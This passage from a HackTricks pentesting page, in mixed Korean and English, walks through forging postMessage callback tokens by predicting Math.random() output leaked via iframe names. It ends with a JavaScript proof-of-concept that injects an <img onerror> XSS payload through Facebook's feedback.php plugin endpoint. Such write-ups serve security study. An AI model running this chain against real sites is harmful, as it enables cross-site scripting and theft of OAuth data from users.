  • Partner origin isnโ€™t a boundary: โ€˜trustedโ€™ ํŒŒํŠธ๋„ˆ์—์„œ ๋ฐœ์ƒํ•œ ์–ด๋–ค XSS๋“  ๊ณต๊ฒฉ์ž๊ฐ€ ํ—ˆ์šฉ๋œ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด event.origin ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.
  • Handlers that render partner-controlled payloads (์˜ˆ: innerHTML on specific message types)๋Š” ํŒŒํŠธ๋„ˆ๊ฐ€ ์นจํ•ด๋  ๊ฒฝ์šฐ same-origin DOM XSS๋ฅผ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.
  • ๋„“์€ message surface(๋‹ค์–‘ํ•œ ํƒ€์ž…, ๊ตฌ์กฐ ๊ฒ€์ฆ ์—†์Œ)๋Š” ํŒŒํŠธ๋„ˆ iframe์ด ์นจํ•ด๋˜์—ˆ์„ ๋•Œ ํ”ผ๋ฒ—ํ•  ๋” ๋งŽ์€ gadgets๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Predicting Math.random() callback tokens in postMessage bridges

๋ฉ”์‹œ์ง€ ๊ฒ€์ฆ์ด Math.random()์œผ๋กœ ์ƒ์„ฑ๋œ โ€œshared secretโ€(์˜ˆ: guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") })์„ ์‚ฌ์šฉํ•˜๊ณ  ๋™์ผํ•œ ํ—ฌํผ๊ฐ€ plugin iframes์˜ ์ด๋ฆ„๋„ ์ง€์ •ํ•œ๋‹ค๋ฉด PRNG ์ถœ๋ ฅ๊ฐ’์„ ๋ณต๊ตฌํ•˜๊ณ  ์‹ ๋ขฐ๋œ ๋ฉ”์‹œ์ง€๋ฅผ ์œ„์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Leak PRNG outputs via window.name: SDK๋Š” plugin iframes์— guid()๋กœ ์ž๋™ ์ด๋ฆ„์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ์ƒ์œ„ ํ”„๋ ˆ์ž„์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด victim ํŽ˜์ด์ง€๋ฅผ iframe์œผ๋กœ ๋กœ๋“œํ•œ ๋’ค plugin iframe์„ ๋‹น์‹ ์˜ origin์œผ๋กœ ์ด๋™์‹œ์ผœ(์˜ˆ: window.frames[0].frames[0].location='https://attacker.com') window.frames[0].frames[0].name์„ ์ฝ์–ด ์›์‹œ Math.random() ์ถœ๋ ฅ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Force more outputs without reloads: ์ผ๋ถ€ SDK๋Š” reinit ๊ฒฝ๋กœ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค; FB SDK์—์„œ๋Š” {xfbml:1}์™€ ํ•จ๊ป˜ init:post๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋ฉด XFBML.parse()๊ฐ€ ๊ฐ•์ œ๋˜์–ด plugin iframe์„ ํŒŒ๊ดด/์žฌ์ƒ์„ฑํ•˜๊ณ  ์ƒˆ๋กœ์šด ์ด๋ฆ„/์ฝœ๋ฐฑ ID๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ณต reinit์œผ๋กœ ํ•„์š”ํ•œ ๋งŒํผ PRNG ์ถœ๋ ฅ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ฝœ๋ฐฑ/iframe ID์šฉ ์ถ”๊ฐ€ ๋‚ด๋ถ€ Math.random() ํ˜ธ์ถœ์ด ์žˆ์œผ๋ฏ€๋กœ ์ค‘๊ฐ„ ๊ฐ’์„ ๊ฑด๋„ˆ๋›ฐ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).
  • Trusted-origin delivery via parameter pollution: first-party plugin endpoint๊ฐ€ ์ •์ œ๋˜์ง€ ์•Š์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ cross-window payload์— ๋ฐ˜์˜(reflect)ํ•œ๋‹ค๋ฉด(์˜ˆ: /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), ์‹ ๋ขฐ๋œ facebook.com origin์„ ์œ ์ง€ํ•˜๋ฉด์„œ &type=...&iconSVG=...๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Predict the next callback: ์œ ์ถœ๋œ iframe ์ด๋ฆ„์„ [0,1)์˜ ๋ถ€๋™์†Œ์ˆ˜์ ์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ณ  ์—ฌ๋Ÿฌ ๊ฐ’์„(๋น„์—ฐ์†์ ์ด์–ด๋„ ๊ฐ€๋Šฅ) V8 Math.random ์˜ˆ์ธก๊ธฐ(์˜ˆ: Z3 ๊ธฐ๋ฐ˜)์— ์ž…๋ ฅํ•˜์„ธ์š”. ๋กœ์ปฌ์—์„œ ๋‹ค์Œ guid()๋ฅผ ์ƒ์„ฑํ•ด ์˜ˆ์ƒ๋˜๋Š” ์ฝœ๋ฐฑ ํ† ํฐ์„ ์œ„์กฐํ•ฉ๋‹ˆ๋‹ค.
  • Trigger the sink: postMessage ๋ฐ์ดํ„ฐ๋ฅผ ์กฐ์ž‘ํ•ด ๋ธŒ๋ฆฌ์ง€๊ฐ€ xd.mpn.setupIconIframe๋ฅผ ๋””์ŠคํŒจ์น˜ํ•˜๊ณ  iconSVG์— HTML์„ ์ฃผ์ž…ํ•˜๋„๋ก ํ•˜์„ธ์š”(์˜ˆ: URL-encoded <img src=x onerror=...>). ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ˜ธ์ŠคํŒ… origin ๋‚ด๋ถ€์—์„œ DOM XSS๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ , ๊ฑฐ๊ธฐ์„œ๋ถ€ํ„ฐ same-origin iframe๋“ค(OAuth dialogs, arbiters ๋“ฑ)์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Framing quirks help: ์ด ์ฒด์ธ์€ framing์„ ํ•„์š”๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๋ชจ๋ฐ”์ผ webview์—์„œ๋Š” frame-ancestors๊ฐ€ ์กด์žฌํ•  ๋•Œ X-Frame-Options๊ฐ€ ์ง€์›๋˜์ง€ ์•Š๋Š” ALLOW-FROM์œผ๋กœ ํ‡ดํ™”ํ•  ์ˆ˜ ์žˆ๊ณ , โ€œcompatโ€ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๊ด€๋Œ€ํ•œ frame-ancestors๋ฅผ ๊ฐ•์ œํ•ด window.name ์‚ฌ์ด๋“œ ์ฑ„๋„์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ตœ์†Œ ์œ„์กฐ ๋ฉ”์‹œ์ง€ ์˜ˆ์‹œ

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ